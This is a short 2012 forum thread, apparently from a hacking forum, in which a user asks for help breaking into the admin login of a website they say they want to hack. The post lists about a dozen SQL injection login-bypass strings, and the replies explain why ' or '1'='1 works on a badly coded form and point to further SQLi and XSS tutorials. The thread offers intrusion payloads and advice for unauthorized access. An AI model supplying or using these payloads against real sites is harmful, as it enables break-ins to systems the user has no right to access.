Thread: [Fellow HF i need your attention here ? URGENT](#)

faith301 - April 16, 2012, 6:46 am

Hello House i usa a link trick and i have gotten the admin page to the site i want to hack also i have tried all the possible admin user and password but i could not log in plz i need suggestion plz, below is example of the site

<http://www.mysite.com/admin/index.php>

i have tried the below code to log into the admin but its not going through

' or '1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

I'm gonna hazard a guess and say you completed that HackThisSite level where you do some crappy sqli. Well, here's the truth:

It doesn't work like that.

Sorry.

Sw1x - April 16, 2012, 7:30 am

That "hack" is so outdated. Learn SQLi/XSS instead. Well it's also SQLi, but a bad method, check out Team INTRAS mega thread, or Phizo's tutorial.

If he is hashing the passwords then sql injection through admin login wont work...

Yes it would -.'

' or '1'='1 more or less means password=" or 1=1 (which is true)

If it's a terribly coded login form then the 1=1 will make you login since the statement is true.
